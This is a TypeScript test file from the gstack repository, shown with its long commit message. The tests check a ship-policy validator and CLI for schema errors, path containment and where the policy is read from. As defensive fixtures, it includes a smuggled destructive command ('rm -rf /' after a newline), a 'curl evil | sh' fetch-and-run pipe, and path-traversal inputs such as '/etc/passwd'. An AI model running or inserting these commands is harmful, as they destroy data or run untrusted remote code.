Files
gstack/test/gstack-ship-policy.test.ts
T
Garry Tanandcapy-ai[bot] 576839cb8c v1.91.256.0 feat(ship): review loop converges (frozen scope, 3-pass cap, NO FINDINGS) and receipts carry across conflict-only merges (#3481)
* feat(ship): review loop converges (frozen finding scope, 3-pass cap, NO FINDINGS first-class) and receipts carry across conflict-only merges

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* test(ship): keep the Step 9 first-entry and Fix-First phrasing the skip/requeue contract asserts; fill the review record's pass, review_scope and range_base placeholders in the caller template test; narrow a test type

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* fix: pre-landing review fixes (pass 1) and the review-loop budget wording

Two blocking findings from /ship's own pass 1, both reproduced in the QA smoke before the fix:
gstack-ship-receipt carry hashed the product diff with git patch-id --stable, which strips
whitespace, so a space moved in a reviewed shell line carried as "no product change"; and it
classed package.json and every lockfile as release metadata, so a dependency swap carried too.
The patch-id is now --verbatim, package.json and VERSION are metadata only while the change is a
version stamp (lib/pregate/stamp-only.ts), lockfiles are product unless the policy names them,
the test globs name code extensions, a dirty working tree refuses before anything is compared,
and a receipt carried twice keeps the reviewed head as carry.from.

gstack-review-scope: an unresolvable base is POLICY_SOURCE_UNAVAILABLE instead of a silent
working-tree read; --range-base is validated; git runs with core.quotePath=false; range_base is
null on pass 1; a blocking finding with no path is fix; category "testing" is a test finding
below the floor; defer searches once, files nothing on a failed search and exits 0 unfiled;
summary refuses zero matching passes and the receipt write is chained to it with &&; a finding
the diff causes elsewhere names the changed line in `cause` and classify follows it.

Review-loop budget wording (ideas from tstack's sol-loop and pstack's interrogate, rewritten;
NOTICE.md): the blocker / should / nit glossary and two stop rules in Step 9.4, the checklist
and docs/review-policy.md; a lead-judgment stage in the finding merge both /review and /ship
render. The core read diffs $RANGE_BASE from pass 2 on. Caps and pins re-measured with reasons.

Step 7 coverage audit: four tests added in existing files, the --review-loop case moved to its
own test (the shared test tripped bun's 5 s default).

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* fix: pin the renumbered review-army stages and point the wording test at product code

CI at c3e27fc failed three free-tier tests, all this branch's own: the
workflow-required-steps fixture and shared-libs-rendering still pinned the
pre-Lead-judgment stage numbers, and test-of-test-ratchet counted
review-loop-budget-wording.test.ts as test-only code because it read only
generated markdown. The fixture and rendering test now pin stages 1-8, and the
wording test renders both armies through generateReviewArmy and reads the
authored ship template as well as the generated sections.

Pass-2 maintainability notes folded in: docs/troubleshooting.md names the two
new RECEIPT_CARRY_REFUSED causes (dirty tree, unreadable status) and the two new
REVIEW_SCOPE_INPUT causes (non-hex --range-base, summary with no matching
pass); gstack-review-scope's help states that classify reads the base branch's
policy and refuses an unresolvable base unless --policy is passed.

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* fix: date a review-log row from its binding start when it has no timestamp

The Step 9.4 template asks the writer to fill `timestamp`; the logger stamps
`review_binding.started_at` but never `timestamp`. `gstack-review-scope
summary` dropped such a row silently, so this PR's own pass 2 was missing from
REVIEW_LOOP (passes=1 for a two-pass loop). A row now dates from `timestamp`,
else from its binding start; a row with neither is still not counted.

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* fix: pass-4 review fixes (carry stamp rule, deleted-file locus, scanned defer, diff prefixes, row time)

Five findings at the blocking floor from the Step 11 outside voice (gpt-6.1-sol)
and the native adversarial pass, fixed as a fourth pass approved by GStack
Minder under the three-pass policy:

- carry: a path the policy names under stamp_files, stamp_paths or
  release_outputs is metadata only while its change is a stamp (versionStampOnly
  for a manifest kind, stampOnlyText otherwise), the rule the tree receipt
  applies; a logic change in a stamped source file is product. Every
  metadata-listed path is read at both heads and a non-stamp change drops its
  globs from the product exclusion.
- review-scope: parseHunks keeps a deleted file as a whole changed location, so
  a cause anchored in a removed export is the diff's to fix, not deferred.
- defer: issues are filed through lib/gstack-post's publication scan; a HIGH
  finding in the title or body refuses and a MEDIUM one needs a human, both
  recorded as unfiled with the reason; --repo names the destination.
- classify: both diffs pin --src-prefix=a/ --dst-prefix=b/ --no-textconv, so
  diff.mnemonicPrefix cannot send every finding outside.
- summary: a row dates from review_binding.started_at before the writer-typed
  timestamp, so a date-only value cannot drop a real pass.

Docs: ship-policy.md#receipt-carry, review-policy.md, the Step 9.4 template
and the CHANGELOG gate-integrity note record the rule and the pass.

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* test(review-army): assert the Red Team branch the run took in the N+1 case

Under the blocking floor the Performance specialist rates a 12-line N+1
INFORMATIONAL, so the conditional Red Team does not activate; the case
encoded the old severity (N+1 is CRITICAL, a Red Team always follows). It
now asserts the branch the run took: a Red Team that ran must follow the
Performance specialist; no Red Team is correct only when the report's own
count says 0 critical and its Red Team line names that reason. The N+1
detection assertion is unchanged. The free contract test gains the
informational-not-activated and informational-claimed controls and the
budget test's synthetic report carries the count line.

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

* v1.91.256.0 stamp

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

---------

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
2026-10-26 20:48:01 +00:00

212 lines
15 KiB
TypeScript

/**
* C1: the repo ship policy. Pins the wire contract (exit codes, result codes,
* the `policy:` provenance line, every containment refusal) on fixture repos
* under os.tmpdir(), never on prose.
*/
import { afterEach, describe, expect, test } from 'bun:test';
import * as fs from 'node:fs';
import * as path from 'node:path';
import { EXIT } from '../lib/headless-artifacts';
import { DEFAULT_POLICY, POLICY_KEYS, globToRegExp, matchesAny, validatePolicy } from '../lib/ship-policy';
import { fillDue } from '../lib/ship-queue-train';
import { BASE_POLICY, cleanup, makeFixtureRepo, runBin, type FixtureRepo } from './helpers/restamp-fixture';
const repos: FixtureRepo[] = [];
const fixture = (opts?: Parameters<typeof makeFixtureRepo>[0]) => { const r = makeFixtureRepo(opts); repos.push(r); return r; };
afterEach(() => { while (repos.length) cleanup(repos.pop()!); });
describe('validatePolicy (schema + containment, pure)', () => {
test('defaults validate and every key has an explanation', () => {
expect(validatePolicy(DEFAULT_POLICY)).toEqual([]);
expect(validatePolicy(BASE_POLICY)).toEqual([]);
expect(POLICY_KEYS).toContain('queue_mode');
});
test('unknown keys, enums and types are POLICY_INVALID with the key named', () => {
const codes = (p: unknown) => validatePolicy(p).map(e => `${e.code}:${e.path}`);
expect(codes({ bumpp: 'patch' })).toEqual(['POLICY_INVALID:bumpp']);
expect(codes({ bump: 'minor' })).toEqual(['POLICY_INVALID:bump']);
expect(codes({ queue_mode: 'stamp-at-open' })).toEqual(['POLICY_INVALID:queue_mode']);
expect(codes({ history: 'rebase' })).toEqual(['POLICY_INVALID:history']);
expect(codes({ release_tool: 42 })).toEqual(['POLICY_INVALID:release_tool']);
expect(codes({ pr_count: { default_pr_count: 0, split_requires_owner: 'yes' } })).toEqual(['POLICY_INVALID:pr_count.default_pr_count', 'POLICY_INVALID:pr_count.split_requires_owner']);
expect(codes({ review_scope: 'loose' })).toEqual(['POLICY_INVALID:review_scope', 'POLICY_INVALID:review_scope']);
expect(codes({ review_scope: 'all' })).toEqual(['POLICY_INVALID:review_scope']);
expect(codes({ review_scope: 'all', min_gstack_version: '1.91.249.0' })).toEqual([]);
expect(codes({ review_scope: 'diff-plus-blocking', min_gstack_version: '1.91.249.0' })).toEqual([]);
expect(codes({ review_scope: 'frozen' })).toEqual([]);
expect(codes([])).toEqual(['POLICY_INVALID:']);
});
test('containment fixtures: `..`, absolute paths, ~, control bytes, list and size caps, interior mirror `..`', () => {
const codes = (p: unknown) => validatePolicy(p).map(e => `${e.code}:${e.path}`);
expect(codes({ stamp_paths: ['../victim/**'] })).toEqual(['POLICY_CONTAINMENT:stamp_paths[0]']);
expect(codes({ stamp_paths: ['docs/../../etc/*'] })).toEqual(['POLICY_CONTAINMENT:stamp_paths[0]']);
expect(codes({ stamp_paths: ['/etc/passwd'] })).toEqual(['POLICY_CONTAINMENT:stamp_paths[0]']);
expect(codes({ release_outputs: ['C:\\Windows\\*'] })).toEqual(['POLICY_CONTAINMENT:release_outputs[0]']);
expect(codes({ changelog: '~/CHANGELOG.md' })).toEqual(['POLICY_CONTAINMENT:changelog']);
expect(codes({ changelog: 'CHANGE\nLOG.md' })).toEqual(['POLICY_CONTAINMENT:changelog']);
expect(codes({ stamp_paths: Array.from({ length: 65 }, (_, i) => `d${i}/**`) })).toEqual(['POLICY_CONTAINMENT:stamp_paths']);
expect(codes({ stamp_paths: ['a'.repeat(257)] })).toEqual(['POLICY_CONTAINMENT:stamp_paths[0]']);
expect(codes({ release_tool: 'x'.repeat(513) })).toEqual(['POLICY_CONTAINMENT:release_tool']);
expect(codes({ release_tool: 'bun run a\nrm -rf /' })).toEqual(['POLICY_CONTAINMENT:release_tool']);
expect(codes({ mirror: '../sibling' })).toEqual([]);
expect(codes({ mirror: '../sibling/../../other' })).toEqual(['POLICY_CONTAINMENT:mirror']);
expect(codes({ mirror: '/abs/mirror' })).toEqual(['POLICY_CONTAINMENT:mirror']);
expect(codes({ mirror: '.' })).toEqual(['POLICY_CONTAINMENT:mirror']);
expect(codes({ mirror: '..' })).toEqual(['POLICY_CONTAINMENT:mirror']);
expect(codes({ preregistration_shas: ['not-a-sha'] })).toEqual(['POLICY_CONTAINMENT:preregistration_shas[0]']);
});
test('globs: ** spans directories, * stays in a segment, regex caps hold, regex metacharacters are literal', () => {
expect(matchesAny(['docs/**/*.md'], 'docs/a/b/c.md')).toBe(true);
expect(matchesAny(['docs/**/*.md'], 'docs/c.md')).toBe(true);
expect(matchesAny(['docs/*.md'], 'docs/a/c.md')).toBe(false);
expect(matchesAny(['README.md'], 'README.md')).toBe(true);
expect(matchesAny(['README.md'], 'READMEXmd')).toBe(false);
expect(matchesAny(['a+b(c).md'], 'a+b(c).md')).toBe(true);
expect(() => globToRegExp('?'.repeat(150))).toThrow(/512/);
expect(validatePolicy({ stamp_paths: ['?'.repeat(150)] }).map(e => e.code)).toEqual(['POLICY_CONTAINMENT']);
});
});
describe("gstack's own .gstack/ship-policy.json", () => {
test('validates and declares the merge-train block against workflows that exist', () => {
const root = path.join(import.meta.dir, '..');
const raw = JSON.parse(fs.readFileSync(path.join(import.meta.dir, '..', '.gstack', 'ship-policy.json'), 'utf8'));
expect(validatePolicy(raw)).toEqual([]);
expect(raw.train).toMatchObject({ gate_workflow: 'evals.yml', free_workflow: 'free-tests.yml', full_gate_check: 'gstack/full-gate', record_artifact: 'gstack-train-record' });
for (const wf of [raw.train.gate_workflow, raw.train.free_workflow]) expect(fs.existsSync(path.join(root, '.github/workflows', wf))).toBe(true);
});
// Value: protects=the fill rule the coordinator relies on: a train dispatches at 3 READY PRs or one hour after the first READY, whichever comes first
// (2026-10-26: 5 PRs / 3 hours left READY PRs waiting most of a day); fails_when=the live block drifts back to a larger or slower fill; why_new=the values were unpinned; seam=the policy file; no_claim=fillDue's arithmetic (ship-queue-train-logic)
test('fills a train at 3 READY PRs or one hour after the first READY, whichever comes first', () => {
const raw = JSON.parse(fs.readFileSync(path.join(import.meta.dir, '..', '.gstack', 'ship-policy.json'), 'utf8'));
expect([raw.train.max_size, raw.train.fill_hours]).toEqual([3, 1]);
const first = '2026-10-26T09:00:00.000Z';
const slots = (n: number) => Array.from({ length: n }, (_, i) => ({ pr: i + 1, ready_at: new Date(Date.parse(first) + i * 60_000).toISOString() })) as any;
expect(fillDue(slots(2), raw.train, '2026-10-26T09:59:00Z', false)).toBe('2026-10-26T10:00:00.000Z');
expect(fillDue(slots(2), raw.train, '2026-10-26T10:00:00Z', false)).toBeNull();
expect(fillDue(slots(3), raw.train, '2026-10-26T09:05:00Z', false)).toBeNull();
});
});
describe('gstack-ship-policy (bin)', () => {
test('--help prints the exit table; no command is usage (2)', () => {
const repo = fixture();
expect(runBin(repo, 'gstack-ship-policy', ['--help']).out).toContain('Exit codes: 0 ok · 1 fail · 2 usage · 3 refused or needs a flag');
expect(runBin(repo, 'gstack-ship-policy', []).status).toBe(EXIT.usage);
expect(runBin(repo, 'gstack-ship-policy', ['bogus']).status).toBe(EXIT.usage);
});
test('show-effective reads origin/<base>, labels each value with its source, and --json carries the policy', () => {
const repo = fixture();
const r = runBin(repo, 'gstack-ship-policy', ['show-effective', '--base', 'main']);
expect(r.status).toBe(EXIT.ok);
expect(r.out).toMatch(/^policy: base origin\/main@[0-9a-f]{12}:\.gstack\/ship-policy\.json\n/);
expect(r.out).toContain('queue_mode="stamp-at-merge" (origin/main@');
expect(r.out).toContain('bump="patch" (origin/main@');
expect(r.out).toContain('mirror=null (default)');
expect(r.out).toMatch(/^ship: queue_mode stamp-at-merge: Step 12 items 1-4 are replaced by `gstack-restamp --next --base main --pr <pr-number> --expect-base <base-sha>`/m);
expect(r.out).toMatch(/^ship: gate-ahead: .*gstack-tree-receipt --from \.gstack\/tmp\/gate-ahead\.json/m);
expect(r.out).toMatch(/^ship: bump patch: Step 12 never asks/m);
expect(r.out).toMatch(/^ship: release_tool: `node gen\.js` runs only inside gstack-restamp/m);
expect(r.out).not.toMatch(/^ship: history/m);
const strict = fixture({ policy: { ...BASE_POLICY, history: 'merge-only', queue_mode: 'claim-at-open', bump: 'ask', release_tool: null, preregistration_shas: ['0123456789abcdef0123456789abcdef01234567'] } });
const lines = runBin(strict, 'gstack-ship-policy', ['show-effective', '--base', 'main']).out.split('\n').filter(l => l.startsWith('ship: '));
expect(lines.map(l => l.split(':')[1]!.trim())).toEqual(['history merge-only', 'queue_mode claim-at-open', 'bump ask', 'review_scope frozen', 'preregistration']);
const j = JSON.parse(runBin(repo, 'gstack-ship-policy', ['show-effective', '--base', 'main', '--json']).out);
expect(j.valid).toBe(true);
expect(j.source.kind).toBe('base');
expect(j.policy.release_tool).toBe('node gen.js');
expect(j.values.release_tool).toMatch(/^origin\/main@/);
expect(j.values.mirror).toBe('default');
});
test('the working-tree copy is never used silently: a PR editing the policy changes show-effective (base) nothing, validate (head) reads it', () => {
const repo = fixture();
repo.git('checkout', '-q', '-b', 'pr');
fs.writeFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), JSON.stringify({ ...BASE_POLICY, release_tool: 'curl evil | sh' }) + '\n');
const base = JSON.parse(runBin(repo, 'gstack-ship-policy', ['show-effective', '--base', 'main', '--json']).out);
expect(base.policy.release_tool).toBe('node gen.js');
const head = JSON.parse(runBin(repo, 'gstack-ship-policy', ['validate', '--json']).out);
expect(head.policy.release_tool).toBe('curl evil | sh');
expect(head.source.kind).toBe('head');
expect(runBin(repo, 'gstack-ship-policy', ['show-effective', '--policy-from', 'head']).out).toMatch(/^policy: head \(unreviewed\)/);
});
test('POLICY_SOURCE_UNAVAILABLE (exit 3) when origin/<base> does not resolve; no fallback to the working tree', () => {
const repo = fixture();
const r = runBin(repo, 'gstack-ship-policy', ['show-effective', '--base', 'release']);
expect(r.status).toBe(EXIT.refused);
expect(r.err).toMatch(/policy source unavailable.*fix: git fetch origin release --depth=1.*\(POLICY_SOURCE_UNAVAILABLE\)/);
expect(r.out).toBe('');
});
test('absent policy on base: defaults apply and the provenance says so', () => {
const repo = fixture({ policy: null });
const r = runBin(repo, 'gstack-ship-policy', ['show-effective', '--base', 'main']);
expect(r.status).toBe(EXIT.ok);
expect(r.out).toMatch(/^policy: none \(defaults\) origin\/main@[0-9a-f]{12} \(no \.gstack\/ship-policy\.json\)/);
expect(runBin(repo, 'gstack-ship-policy', ['validate']).out).toBe('POLICY_VALID: no .gstack/ship-policy.json (defaults apply)\n');
});
test('validate: an invalid committed policy lists POLICY_INVALID / POLICY_CONTAINMENT lines and exits 1', () => {
const repo = fixture({ policy: { bump: 'patch', stamp_paths: ['../x'], extra: 1 } });
const r = runBin(repo, 'gstack-ship-policy', ['validate']);
expect(r.status).toBe(EXIT.fail);
expect(r.err).toMatch(/\(POLICY_INVALID\)/);
expect(r.err).toMatch(/\(POLICY_CONTAINMENT\)/);
expect(r.out).toMatch(/^POLICY_INVALID: 2 error\(s\)/);
const malformed = fixture({ policy: null });
fs.writeFileSync(path.join(malformed.work, '.gstack', 'ship-policy.json'), '{ not json');
expect(runBin(malformed, 'gstack-ship-policy', ['validate']).err).toMatch(/not valid JSON.*\(POLICY_INVALID\)/);
});
test('init writes every key at its default with $schema, refuses to overwrite (POLICY_EXISTS, nothing written), --explain prints each key', () => {
const repo = fixture({ policy: null });
const r = runBin(repo, 'gstack-ship-policy', ['init']);
expect(r.status).toBe(EXIT.ok);
const written = JSON.parse(fs.readFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), 'utf8'));
expect(written.$schema).toMatch(/ship-policy\.md#schema-v1$/);
for (const key of POLICY_KEYS) expect(written[key]).toEqual((DEFAULT_POLICY as any)[key]);
expect(validatePolicy(written)).toEqual([]);
fs.writeFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), '{"bump":"patch"}\n');
const again = runBin(repo, 'gstack-ship-policy', ['init']);
expect(again.status).toBe(EXIT.refused);
expect(again.err).toMatch(/nothing written.*\(POLICY_EXISTS\)/);
expect(fs.readFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), 'utf8')).toBe('{"bump":"patch"}\n');
const explain = runBin(repo, 'gstack-ship-policy', ['init', '--explain']);
expect(explain.status).toBe(EXIT.ok);
for (const key of POLICY_KEYS) expect(explain.out).toMatch(new RegExp(`^${key}: .* default: `, 'm'));
expect(fs.readFileSync(path.join(repo.work, '.gstack', 'ship-policy.json'), 'utf8')).toBe('{"bump":"patch"}\n');
});
test('check-history: squash-ok prints no check; merge-only accepts a fast-forward branch, refuses a rewritten one (exit 1) and a squash/rebase plan (exit 3) with HISTORY_POLICY_VIOLATION', () => {
const repo = fixture({ policy: { ...BASE_POLICY, history: 'merge-only' } });
repo.git('checkout', '-q', '-b', 'pr');
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'a\n');
repo.git('add', '-A'); repo.git('commit', '-q', '-m', 'a');
expect(runBin(repo, 'gstack-ship-policy', ['check-history', '--base', 'main']).out).toMatch(/^HISTORY: merge-only \(origin\/pr not pushed yet/);
repo.git('push', '-q', '-u', 'origin', 'pr');
fs.writeFileSync(path.join(repo.work, 'b.txt'), 'b\n');
repo.git('add', '-A'); repo.git('commit', '-q', '-m', 'b');
const ok = runBin(repo, 'gstack-ship-policy', ['check-history', '--base', 'main', '--json']);
expect(ok.status).toBe(EXIT.ok);
expect(JSON.parse(ok.out)).toMatchObject({ history: 'merge-only', ok: true });
repo.git('reset', '-q', '--soft', 'origin/main');
repo.git('commit', '-q', '-m', 'squashed');
const bad = runBin(repo, 'gstack-ship-policy', ['check-history', '--base', 'main']);
expect(bad.status).toBe(EXIT.fail);
expect(bad.out).toMatch(/^HISTORY: rewritten .* \(HISTORY_POLICY_VIOLATION\)$/m);
const plan = runBin(repo, 'gstack-ship-policy', ['check-history', '--base', 'main', '--plan', 'squash']);
expect(plan.status).toBe(EXIT.refused);
expect(plan.out).toMatch(/^HISTORY: refused \(plan=squash rewrites history; .*\) — fix: .* \(HISTORY_POLICY_VIOLATION\)$/m);
expect(runBin(repo, 'gstack-ship-policy', ['check-history', '--base', 'main', '--plan', 'cherry']).status).toBe(EXIT.usage);
const lax = fixture();
expect(runBin(lax, 'gstack-ship-policy', ['check-history', '--base', 'main']).out).toBe('HISTORY: squash-ok (no check; policy history=squash-ok; plan=merge)\n');
expect(runBin(lax, 'gstack-ship-policy', ['check-history', '--base', 'main', '--plan', 'rebase']).status).toBe(EXIT.ok);
});
});